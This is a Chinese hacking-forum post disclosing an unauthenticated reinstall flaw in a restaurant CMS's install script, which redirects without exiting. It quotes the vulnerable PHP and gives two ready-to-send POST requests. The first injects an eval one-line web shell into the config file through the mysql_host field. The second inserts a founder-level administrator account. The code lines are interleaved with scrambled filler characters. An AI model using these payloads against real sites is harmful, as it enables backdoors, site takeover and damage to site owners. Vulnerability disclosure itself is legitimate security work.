找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
* J2 P4 @! f6 V' }: }% p
" T; o+ H) B. l<?php& F/ f5 \; x3 s) |6 t
if(file_exists("../install.lock"))2 b6 \- a' w: @' s. M& t$ d
{7 P4 J. _% E2 j2 L
    header("Location: ../");//没有退出
  Y( ?  B0 l5 c  @7 ?4 d}0 Y! H+ u8 `# e" Q; M1 o) d
               ) m3 U8 D8 J  Q$ h# [
//echo 'tst';exit;8 g6 C( i" J5 ]5 ]
require_once("init.php");5 K+ s8 c5 {! q, o
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
  @) X+ e7 D1 Q{
$ `/ u1 z4 A5 |- M/ e可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。& Z% j4 n! ^; N

& S, ?8 s: F/ Q! s4 e1、getshell(很危险)
, i8 B- D; I- W, N( ]( yif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
/ j! G) X8 e1 @: d. z. r+ v9 q9 d9 ]1 i{
+ o$ n) u5 s. U0 d; ^! F$smarty->assign("step",1);' G. `: |- [; q7 _
$smarty->display("index.html");
. c0 k" H. ], j! \* f}elseif($_REQUEST['step']==2)$ c& c: E) s0 d- {5 ^
{
+ N- `, G" q, k6 y. D8 g. T5 u    $mysql_host=trim($_POST['mysql_host']);
$ L; R: V! Q) \" [2 P: @0 s/ v    $mysql_user=trim($_POST['mysql_user']);
) F# w) O& i4 D4 Y9 {( X& T- ~& h    $mysql_pwd=trim($_POST['mysql_pwd']);7 d; ]6 b3 l! K* R4 I. ~
    $mysql_db=trim($_POST['mysql_db']);
# A/ U2 }8 f- E    $tblpre=trim($_POST['tblpre']);8 X# H3 w" Z( P( b# R$ N. x# r0 k# W' o
    $domain==trim($_POST['domain']);
8 y. K8 E& t4 x4 k- M$ q6 i    $str="<?php \r\n";/ b5 i0 y" u- s6 q% k
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";  s# H! z& U! |/ v) D
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";8 P9 |9 n( E: G5 m0 c, J/ B
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";5 ]2 o2 e: u8 w
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
% X+ j* h. o' T# h    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";) q1 |7 I9 N" L5 |
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";, S6 S9 b5 C# ?6 J3 c7 q6 L
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
* T+ A/ g% C+ b9 y. f% B& |    $str.='define("SKINS","default");'."\r\n";
6 T( c3 l+ i8 q  p+ {4 q' X    $str.='?>';5 v3 p) a2 b+ d$ |+ [; B
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件# ?8 D0 U, f9 f/ i2 t
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
4 B; A- o1 h8 ]5 `2 X9 ZPOST /canting/install/index.php?m=index&step=2 HTTP/1.1
$ V- K' }3 i9 }. Z. aHost: 192.168.80.129
1 z4 j) b  k' }/ V: t0 ]- n. aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
8 J& C- B+ T0 W  r3 z" |0 x9 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.82 M( F) w+ E& `; K* A0 o# X
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( }6 d* F) T; E# N0 NAccept-Encoding: gzip, deflate2 M  `( O) z: b. }1 a
Referer: http://192.168.80.129/canting/install/index.php?step=1$ R5 R6 g) a. M7 s
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ E) v0 U+ c' D2 cContent-Type: application/x-www-form-urlencoded
7 K& |% J3 Q+ mContent-Length: 126# C7 ?1 H  O: t7 f2 C
         
' L! r1 P8 K. W0 x4 _+ G5 ?mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
1 v$ [, G* j+ o5 T7 `( w2 v但是这个方法很危险,将导致网站无法运行。, `  |% U8 Y. e

: c- k8 W' L( E+ F  m2、直接添加管理员
: ]/ r# K7 Q+ ^: P; {1 a. |* D; q: R* n3 L( u
elseif($_REQUEST['step']==5)
6 I3 |) h) a4 i0 i{# {/ n1 {6 d( p; ~
    if($_POST)
6 ?! c7 h7 p8 M3 v: z! |    {   require_once("../config/config.inc.php");
+ O3 D. `) u: U& W( o( r+ j4 @% y        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);) T7 `3 j% z1 s! [
        mysql_select_db(MYSQL_DB,$link);
. C8 A/ {) A9 g! ]. m: l0 O        mysql_query("SET NAMES ".MYSQL_CHARSET );
) O, b! f8 }) n/ k         mysql_query("SET sql_mode=''");
0 [! B1 J% s; {1 V  ?& q2 n
: I+ V' V9 M5 j- r! s $adminname=trim($_POST['adminname']);
( j3 r3 A* `9 B        $pwd1=trim($_POST['pwd1']);5 f+ K& D2 {! p  |) b! Q' T
        $pwd2=trim($_POST['pwd2']);
1 ]* p* m, u" a4 |& a: F8 s$ `6 n        if(empty($adminname))
- K5 q# ^0 Q; z3 G4 n* B( @        {
! x6 k8 U' s. k4 {; }) `4 G1 c5 w! v5 n6 G/ ]
echo "<script>alert('管理员不能为空');history.go(-1);</script>";" g' y9 t) |9 u1 b3 V, C
            exit();
7 p7 h, O+ s0 S5 v) K- h# p        }
$ h% D; F: E& o& P: ?7 p        if(($pwd1!=$pwd2) or empty($pwd1))6 a7 W7 F9 ]. G0 f3 `* m+ I
        {
  e8 F; V  `6 @            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出5 m# E1 O0 A2 N5 c' [( M
        }
4 q8 M: C! Z+ p! @' X8 |        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
/ v* O% p) C4 S' q" D, B    }
4 t6 M, w# r" h3 u( z# ]5 N这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:1 h9 W/ c- V4 u& J: F
POST /canting/install/index.php?m=index&step=5 HTTP/1.1/ X7 U6 S5 x1 K# F
Host: 192.168.80.129
, h0 Z3 ?6 n, W" y# ^User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 B9 @0 l: }- x6 k) T  A. V; y5 _6 q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 F% b& h1 @, Q/ Y9 E3 j7 N- d. cAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
3 d! c! _/ h6 j- ]; z! L; m0 b* @Accept-Encoding: gzip, deflate
0 n% F& a6 Y( J. ~0 D- `- o, v1 mReferer: http://www.2cto.com /canting/install/index.php?step=1
& G/ z6 e1 P6 \6 f; gCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
9 ^4 V. G, P# _( k& mContent-Type: application/x-www-form-urlencoded
! o# ^$ [8 g6 }3 H# C9 H2 g7 MContent-Length: 46
3 L3 ]5 E: g1 q) h* }! @4 y      / d; y: U0 f2 f; q; V7 b
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​
  [5 h, ~+ C; D( t+ E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表